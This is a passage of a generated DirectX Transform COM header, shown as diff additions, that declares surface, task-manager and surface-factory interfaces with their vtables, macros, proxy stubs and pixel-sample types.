COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXSurfacePick_PointPick_Proxy( + IDXSurfacePick * This, + /* [in] */ const DXVEC *pPoint, + /* [out] */ ULONG *pulInputSurfaceIndex, + /* [out] */ DXVEC *pInputPoint); + + +void __RPC_STUB IDXSurfacePick_PointPick_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXSurfacePick_INTERFACE_DEFINED__ */ + + +#ifndef __IDXTBindHost_INTERFACE_DEFINED__ +#define __IDXTBindHost_INTERFACE_DEFINED__ + +/* interface IDXTBindHost */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXTBindHost; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("D26BCE55-E9DC-11d1-9066-00C04FD9189D") + IDXTBindHost : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SetBindHost( + /* [in] */ IBindHost *pBindHost) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXTBindHostVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTBindHost * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTBindHost * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTBindHost * This); + + HRESULT ( STDMETHODCALLTYPE *SetBindHost )( + IDXTBindHost * This, + /* [in] */ IBindHost *pBindHost); + + END_INTERFACE + } IDXTBindHostVtbl; + + interface IDXTBindHost + { + CONST_VTBL struct IDXTBindHostVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXTBindHost_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXTBindHost_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXTBindHost_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXTBindHost_SetBindHost(This,pBindHost) \ + (This)->lpVtbl -> SetBindHost(This,pBindHost) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXTBindHost_SetBindHost_Proxy( + IDXTBindHost * This, + /* [in] */ IBindHost *pBindHost); + + +void __RPC_STUB IDXTBindHost_SetBindHost_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXTBindHost_INTERFACE_DEFINED__ */ + + +/* interface __MIDL_itf_dxtrans_0264 */ +/* [local] */ + +typedef void __stdcall __stdcall DXTASKPROC( + void *pTaskData, + BOOL *pbContinueProcessing); + +typedef DXTASKPROC *PFNDXTASKPROC; + +typedef void __stdcall __stdcall DXAPCPROC( + DWORD dwData); + +typedef DXAPCPROC *PFNDXAPCPROC; + +#ifdef __cplusplus +typedef struct DXTMTASKINFO +{ + PFNDXTASKPROC pfnTaskProc; // Pointer to function to execute + PVOID pTaskData; // Pointer to argument data + PFNDXAPCPROC pfnCompletionAPC; // Pointer to completion APC proc + DWORD dwCompletionData; // Pointer to APC proc data + const GUID* pRequestID; // Used to identify groups of tasks +} DXTMTASKINFO; +#else +typedef struct DXTMTASKINFO + { + PVOID pfnTaskProc; + PVOID pTaskData; + PVOID pfnCompletionAPC; + DWORD dwCompletionData; + const GUID *pRequestID; + } DXTMTASKINFO; + +#endif + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0264_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0264_v0_0_s_ifspec; + +#ifndef __IDXTaskManager_INTERFACE_DEFINED__ +#define __IDXTaskManager_INTERFACE_DEFINED__ + +/* interface IDXTaskManager */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXTaskManager; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("254DBBC1-F922-11d0-883A-3C8B00C10000") + IDXTaskManager : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE QueryNumProcessors( + /* [out] */ ULONG *pulNumProc) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetThreadPoolSize( + /* [in] */ ULONG ulNumThreads) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetThreadPoolSize( + /* [out] */ ULONG *pulNumThreads) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetConcurrencyLimit( + /* [in] */ ULONG ulNumThreads) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetConcurrencyLimit( + /* [out] */ ULONG *pulNumThreads) = 0; + + virtual HRESULT STDMETHODCALLTYPE ScheduleTasks( + /* [in] */ DXTMTASKINFO TaskInfo[ ], + /* [in] */ HANDLE Events[ ], + /* [out] */ DWORD TaskIDs[ ], + /* [in] */ ULONG ulNumTasks, + /* [in] */ ULONG ulWaitPeriod) = 0; + + virtual HRESULT STDMETHODCALLTYPE TerminateTasks( + /* [in] */ DWORD TaskIDs[ ], + /* [in] */ ULONG ulCount, + /* [in] */ ULONG ulTimeOut) = 0; + + virtual HRESULT STDMETHODCALLTYPE TerminateRequest( + /* [in] */ REFIID RequestID, + /* [in] */ ULONG ulTimeOut) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXTaskManagerVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTaskManager * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTaskManager * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTaskManager * This); + + HRESULT ( STDMETHODCALLTYPE *QueryNumProcessors )( + IDXTaskManager * This, + /* [out] */ ULONG *pulNumProc); + + HRESULT ( STDMETHODCALLTYPE *SetThreadPoolSize )( + IDXTaskManager * This, + /* [in] */ ULONG ulNumThreads); + + HRESULT ( STDMETHODCALLTYPE *GetThreadPoolSize )( + IDXTaskManager * This, + /* [out] */ ULONG *pulNumThreads); + + HRESULT ( STDMETHODCALLTYPE *SetConcurrencyLimit )( + IDXTaskManager * This, + /* [in] */ ULONG ulNumThreads); + + HRESULT ( STDMETHODCALLTYPE *GetConcurrencyLimit )( + IDXTaskManager * This, + /* [out] */ ULONG *pulNumThreads); + + HRESULT ( STDMETHODCALLTYPE *ScheduleTasks )( + IDXTaskManager * This, + /* [in] */ DXTMTASKINFO TaskInfo[ ], + /* [in] */ HANDLE Events[ ], + /* [out] */ DWORD TaskIDs[ ], + /* [in] */ ULONG ulNumTasks, + /* [in] */ ULONG ulWaitPeriod); + + HRESULT ( STDMETHODCALLTYPE *TerminateTasks )( + IDXTaskManager * This, + /* [in] */ DWORD TaskIDs[ ], + /* [in] */ ULONG ulCount, + /* [in] */ ULONG ulTimeOut); + + HRESULT ( STDMETHODCALLTYPE *TerminateRequest )( + IDXTaskManager * This, + /* [in] */ REFIID RequestID, + /* [in] */ ULONG ulTimeOut); + + END_INTERFACE + } IDXTaskManagerVtbl; + + interface IDXTaskManager + { + CONST_VTBL struct IDXTaskManagerVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXTaskManager_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXTaskManager_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXTaskManager_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXTaskManager_QueryNumProcessors(This,pulNumProc) \ + (This)->lpVtbl -> QueryNumProcessors(This,pulNumProc) + +#define IDXTaskManager_SetThreadPoolSize(This,ulNumThreads) \ + (This)->lpVtbl -> SetThreadPoolSize(This,ulNumThreads) + +#define IDXTaskManager_GetThreadPoolSize(This,pulNumThreads) \ + (This)->lpVtbl -> GetThreadPoolSize(This,pulNumThreads) + +#define IDXTaskManager_SetConcurrencyLimit(This,ulNumThreads) \ + (This)->lpVtbl -> SetConcurrencyLimit(This,ulNumThreads) + +#define IDXTaskManager_GetConcurrencyLimit(This,pulNumThreads) \ + (This)->lpVtbl -> GetConcurrencyLimit(This,pulNumThreads) + +#define IDXTaskManager_ScheduleTasks(This,TaskInfo,Events,TaskIDs,ulNumTasks,ulWaitPeriod) \ + (This)->lpVtbl -> ScheduleTasks(This,TaskInfo,Events,TaskIDs,ulNumTasks,ulWaitPeriod) + +#define IDXTaskManager_TerminateTasks(This,TaskIDs,ulCount,ulTimeOut) \ + (This)->lpVtbl -> TerminateTasks(This,TaskIDs,ulCount,ulTimeOut) + +#define IDXTaskManager_TerminateRequest(This,RequestID,ulTimeOut) \ + (This)->lpVtbl -> TerminateRequest(This,RequestID,ulTimeOut) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXTaskManager_QueryNumProcessors_Proxy( + IDXTaskManager * This, + /* [out] */ ULONG *pulNumProc); + + +void __RPC_STUB IDXTaskManager_QueryNumProcessors_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTaskManager_SetThreadPoolSize_Proxy( + IDXTaskManager * This, + /* [in] */ ULONG ulNumThreads); + + +void __RPC_STUB IDXTaskManager_SetThreadPoolSize_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTaskManager_GetThreadPoolSize_Proxy( + IDXTaskManager * This, + /* [out] */ ULONG *pulNumThreads); + + +void __RPC_STUB IDXTaskManager_GetThreadPoolSize_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTaskManager_SetConcurrencyLimit_Proxy( + IDXTaskManager * This, + /* [in] */ ULONG ulNumThreads); + + +void __RPC_STUB IDXTaskManager_SetConcurrencyLimit_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTaskManager_GetConcurrencyLimit_Proxy( + IDXTaskManager * This, + /* [out] */ ULONG *pulNumThreads); + + +void __RPC_STUB IDXTaskManager_GetConcurrencyLimit_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTaskManager_ScheduleTasks_Proxy( + IDXTaskManager * This, + /* [in] */ DXTMTASKINFO TaskInfo[ ], + /* [in] */ HANDLE Events[ ], + /* [out] */ DWORD TaskIDs[ ], + /* [in] */ ULONG ulNumTasks, + /* [in] */ ULONG ulWaitPeriod); + + +void __RPC_STUB IDXTaskManager_ScheduleTasks_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTaskManager_TerminateTasks_Proxy( + IDXTaskManager * This, + /* [in] */ DWORD TaskIDs[ ], + /* [in] */ ULONG ulCount, + /* [in] */ ULONG ulTimeOut); + + +void __RPC_STUB IDXTaskManager_TerminateTasks_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTaskManager_TerminateRequest_Proxy( + IDXTaskManager * This, + /* [in] */ REFIID RequestID, + /* [in] */ ULONG ulTimeOut); + + +void __RPC_STUB IDXTaskManager_TerminateRequest_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXTaskManager_INTERFACE_DEFINED__ */ + + +/* interface __MIDL_itf_dxtrans_0265 */ +/* [local] */ + +#ifdef __cplusplus +///////////////////////////////////////////////////// + +class DXBASESAMPLE; +class DXSAMPLE; +class DXPMSAMPLE; + +///////////////////////////////////////////////////// + +class DXBASESAMPLE +{ +public: + BYTE Blue; + BYTE Green; + BYTE Red; + BYTE Alpha; + DXBASESAMPLE() {} + DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) : + Alpha(alpha), + Red(red), + Green(green), + Blue(blue) {} + DXBASESAMPLE(const DWORD val) { *this = (*(DXBASESAMPLE *)&val); } + operator DWORD () const {return *((DWORD *)this); } + DWORD operator=(const DWORD val) { return *this = *((DXBASESAMPLE *)&val); } +}; // DXBASESAMPLE + +///////////////////////////////////////////////////// + +class DXSAMPLE : public DXBASESAMPLE +{ +public: + DXSAMPLE() {} + DXSAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) : + DXBASESAMPLE(alpha, red, green, blue) {} + DXSAMPLE(const DWORD val) { *this = (*(DXSAMPLE *)&val); } + operator DWORD () const {return *((DWORD *)this); } + DWORD operator=(const DWORD val) { return *this = *((DXSAMPLE *)&val); } + operator DXPMSAMPLE() const; +}; // DXSAMPLE + +///////////////////////////////////////////////////// + +class DXPMSAMPLE : public DXBASESAMPLE +{ +public: + DXPMSAMPLE() {} + DXPMSAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) : + DXBASESAMPLE(alpha, red, green, blue) {} + DXPMSAMPLE(const DWORD val) { *this = (*(DXPMSAMPLE *)&val); } + operator DWORD () const {return *((DWORD *)this); } + DWORD operator=(const DWORD val) { return *this = *((DXPMSAMPLE *)&val); } + operator DXSAMPLE() const; +}; // DXPMSAMPLE + +// +// The following cast operators are to prevent a direct assignment of a DXSAMPLE to a DXPMSAMPLE +// +inline DXSAMPLE::operator DXPMSAMPLE() const { return *((DXPMSAMPLE *)this); } +inline DXPMSAMPLE::operator DXSAMPLE() const { return *((DXSAMPLE *)this); } +#else // !__cplusplus +typedef struct DXBASESAMPLE + { + BYTE Blue; + BYTE Green; + BYTE Red; + BYTE Alpha; + } DXBASESAMPLE; + +typedef struct DXSAMPLE + { + BYTE Blue; + BYTE Green; + BYTE Red; + BYTE Alpha; + } DXSAMPLE; + +typedef struct DXPMSAMPLE + { + BYTE Blue; + BYTE Green; + BYTE Red; + BYTE Alpha; + } DXPMSAMPLE; + +#endif // !__cplusplus +typedef +enum DXRUNTYPE + { DXRUNTYPE_CLEAR = 0, + DXRUNTYPE_OPAQUE = 1, + DXRUNTYPE_TRANS = 2, + DXRUNTYPE_UNKNOWN = 3 + } DXRUNTYPE; + +#define DX_MAX_RUN_INFO_COUNT ( 128 ) + +// Ignore the definition used by MIDL for TLB generation +#if 0 +typedef struct DXRUNINFO + { + ULONG Bitfields; + } DXRUNINFO; + +#endif // 0 +typedef struct DXRUNINFO +{ + ULONG Type : 2; // Type + ULONG Count : 30; // Number of samples in run +} DXRUNINFO; +typedef +enum DXSFCREATE + { DXSF_FORMAT_IS_CLSID = 1L << 0, + DXSF_NO_LAZY_DDRAW_LOCK = 1L << 1 + } DXSFCREATE; + +typedef +enum DXBLTOPTIONS + { DXBOF_DO_OVER = 1L << 0, + DXBOF_DITHER = 1L << 1 + } DXBLTOPTIONS; + + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0265_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0265_v0_0_s_ifspec; + +#ifndef __IDXSurfaceFactory_INTERFACE_DEFINED__ +#define __IDXSurfaceFactory_INTERFACE_DEFINED__ + +/* interface IDXSurfaceFactory */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXSurfaceFactory; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("144946F5-C4D4-11d1-81D1-0000F87557DB") + IDXSurfaceFactory : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE CreateSurface( + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags, + /* [in] */ IUnknown *punkOuter, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE CreateFromDDSurface( + /* [in] */ IUnknown *pDDrawSurface, + /* [in] */ const GUID *pFormatID, + /* [in] */ DWORD dwFlags, + /* [in] */ IUnknown *punkOuter, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE LoadImage( + /* [in] */ const LPWSTR pszFileName, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE LoadImageFromStream( + /* [in] */ IStream *pStream, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE CopySurfaceToNewFormat( + /* [in] */ IDXSurface *pSrc, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pDestFormatID, + /* [out] */ IDXSurface **ppNewSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE CreateD3DRMTexture( + /* [in] */ IDXSurface *pSrc, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ IUnknown *pD3DRM3, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppTexture3) = 0; + + virtual HRESULT STDMETHODCALLTYPE BitBlt( + /* [in] */ IDXSurface *pDest, + /* [in] */ const DXVEC *pPlacement, + /* [in] */ IDXSurface *pSrc, + /* [in] */ const DXBNDS *pClipBounds, + /* [in] */ DWORD dwFlags) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXSurfaceFactoryVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXSurfaceFactory * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXSurfaceFactory * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXSurfaceFactory * This); + + HRESULT ( STDMETHODCALLTYPE *CreateSurface )( + IDXSurfaceFactory * This, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags, + /* [in] */ IUnknown *punkOuter, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + HRESULT ( STDMETHODCALLTYPE *CreateFromDDSurface )( + IDXSurfaceFactory * This, + /* [in] */ IUnknown *pDDrawSurface, + /* [in] */ const GUID *pFormatID, + /* [in] */ DWORD dwFlags, + /* [in] */ IUnknown *punkOuter, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + HRESULT ( STDMETHODCALLTYPE *LoadImage )( + IDXSurfaceFactory * This, + /* [in] */ const LPWSTR pszFileName, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + HRESULT ( STDMETHODCALLTYPE *LoadImageFromStream )( + IDXSurfaceFactory * This, + /* [in] */ IStream *pStream, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + HRESULT ( STDMETHODCALLTYPE *CopySurfaceToNewFormat )( + IDXSurfaceFactory * This, + /* [in] */ IDXSurface *pSrc, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pDestFormatID, + /* [out] */ IDXSurface **ppNewSurface); + + HRESULT ( STDMETHODCALLTYPE *CreateD3DRMTexture )( + IDXSurfaceFactory * This, + /* [in] */ IDXSurface *pSrc, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ IUnknown *pD3DRM3, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppTexture3); + + HRESULT ( STDMETHODCALLTYPE *BitBlt )( + IDXSurfaceFactory * This, + /* [in] */ IDXSurface *pDest, + /* [in] */ const DXVEC *pPlacement, + /* [in] */ IDXSurface *pSrc, + /* [in] */ const DXBNDS *pClipBounds, + /* [in] */ DWORD dwFlags); + + END_INTERFACE + } IDXSurfaceFactoryVtbl; + + interface IDXSurfaceFactory + { + CONST_VTBL struct IDXSurfaceFactoryVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXSurfaceFactory_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXSurfaceFactory_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXSurfaceFactory_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXSurfaceFactory_CreateSurface(This,pDirectDraw,pDDSurfaceDesc,pFormatID,pBounds,dwFlags,punkOuter,riid,ppDXSurface) \ + (This)->lpVtbl -> CreateSurface(This,pDirectDraw,pDDSurfaceDesc,pFormatID,pBounds,dwFlags,punkOuter,riid,ppDXSurface) + +#define IDXSurfaceFactory_CreateFromDDSurface(This,pDDrawSurface,pFormatID,dwFlags,punkOuter,riid,ppDXSurface) \ + (This)->lpVtbl -> CreateFromDDSurface(This,pDDrawSurface,pFormatID,dwFlags,punkOuter,riid,ppDXSurface) + +#define IDXSurfaceFactory_LoadImage(This,pszFileName,pDirectDraw,pDDSurfaceDesc,pFormatID,riid,ppDXSurface) \ + (This)->lpVtbl -> LoadImage(This,pszFileName,pDirectDraw,pDDSurfaceDesc,pFormatID,riid,ppDXSurface) + +#define IDXSurfaceFactory_LoadImageFromStream(This,pStream,pDirectDraw,pDDSurfaceDesc,pFormatID,riid,ppDXSurface) \ + (This)->lpVtbl -> LoadImageFromStream(This,pStream,pDirectDraw,pDDSurfaceDesc,pFormatID,riid,ppDXSurface) + +#define IDXSurfaceFactory_CopySurfaceToNewFormat(This,pSrc,pDirectDraw,pDDSurfaceDesc,pDestFormatID,ppNewSurface) \ + (This)->lpVtbl -> CopySurfaceToNewFormat(This,pSrc,pDirectDraw,pDDSurfaceDesc,pDestFormatID,ppNewSurface) + +#define IDXSurfaceFactory_CreateD3DRMTexture(This,pSrc,pDirectDraw,pD3DRM3,riid,ppTexture3) \ + (This)->lpVtbl -> CreateD3DRMTexture(This,pSrc,pDirectDraw,pD3DRM3,riid,ppTexture3) + +#define IDXSurfaceFactory_BitBlt(This,pDest,pPlacement,pSrc,pClipBounds,dwFlags) \ + (This)->lpVtbl -> BitBlt(This,pDest,pPlacement,pSrc,pClipBounds,dwFlags) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CreateSurface_Proxy( + IDXSurfaceFactory * This, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags, + /* [in] */ IUnknown *punkOuter, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + +void __RPC_STUB IDXSurfaceFactory_CreateSurface_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CreateFromDDSurface_Proxy( + IDXSurfaceFactory * This, + /* [in] */ IUnknown *pDDrawSurface, + /* [in] */ const GUID *pFormatID, + /* [in] */ DWORD dwFlags, + /* [in] */ IUnknown *punkOuter, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + +void __RPC_STUB IDXSurfaceFactory_CreateFromDDSurface_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_LoadImage_Proxy( + IDXSurfaceFactory * This, + /* [in] */ const LPWSTR pszFileName, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + +void __RPC_STUB IDXSurfaceFactory_LoadImage_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_LoadImageFromStream_Proxy( + IDXSurfaceFactory * This, + /* [in] */ IStream *pStream, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + +void __RPC_STUB IDXSurfaceFactory_LoadImageFromStream_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CopySurfaceToNewFormat_Proxy( + IDXSurfaceFactory * This, + /* [in] */ IDXSurface *pSrc, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pDestFormatID, + /* [out] */ IDXSurface **ppNewSurface); + + +void __RPC_STUB IDXSurfaceFactory_CopySurfaceToNewFormat_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CreateD3DRMTexture_Proxy( + IDXSurfaceFactory * This, + /* [in] */ IDXSurface *pSrc, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ IUnknown *pD3DRM3, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppTexture3); + + +void __RPC_STUB IDXSurfaceFactory_CreateD3DRMTexture_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_BitBlt_Proxy( + IDXSurfaceFactory * This, + /* [in] */ IDXSurface *pDest, + /* [in] */ const DXVEC *pPlacement, + /* [in] */ IDXSurface *pSrc, + /* [in] */ const DXBNDS *pClipBounds, + /* [in] */ DWORD dwFlags); + + +void __RPC_STUB IDXSurfaceFactory_BitBlt_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXSurfaceFactory_INTERFACE_DEFINED__ */ + + +/* interface __MIDL_itf_dxtrans_0266 */ +/* [local] */ + +typedef +enum DXSURFMODCOMPOP + { DXSURFMOD_COMP_OVER = 0, + DXSURFMOD_COMP_ALPHA_MASK = 1, + DXSURFMOD_COMP_MAX_VALID = 1 + } DXSURFMODCOMPOP; + + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0266_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0266_v0_0_s_ifspec; + +#ifndef __IDXSurfaceModifier_INTERFACE_DEFINED__ +#define __IDXSurfaceModifier_INTERFACE_DEFINED__ + +/* interface IDXSurfaceModifier */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXSurfaceModifier; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("9EA3B637-C37D-11d1-905E-00C04FD9189D") + IDXSurfaceModifier : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SetFillColor( + /* [in] */ DXSAMPLE Color) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetFillColor( + /* [out] */ DXSAMPLE *pColor) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetBounds( + /* [in] */ const DXBNDS *pBounds) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetBackground( + /* [in] */ IDXSurface *pSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetBackground( + /* [out] */ IDXSurface **ppSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetCompositeOperation( + /* [in] */ DXSURFMODCOMPOP CompOp) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetCompositeOperation( + /* [out] */ DXSURFMODCOMPOP *pCompOp) = 0; + + virtual HRESULT STDMETHODCALLTYPE 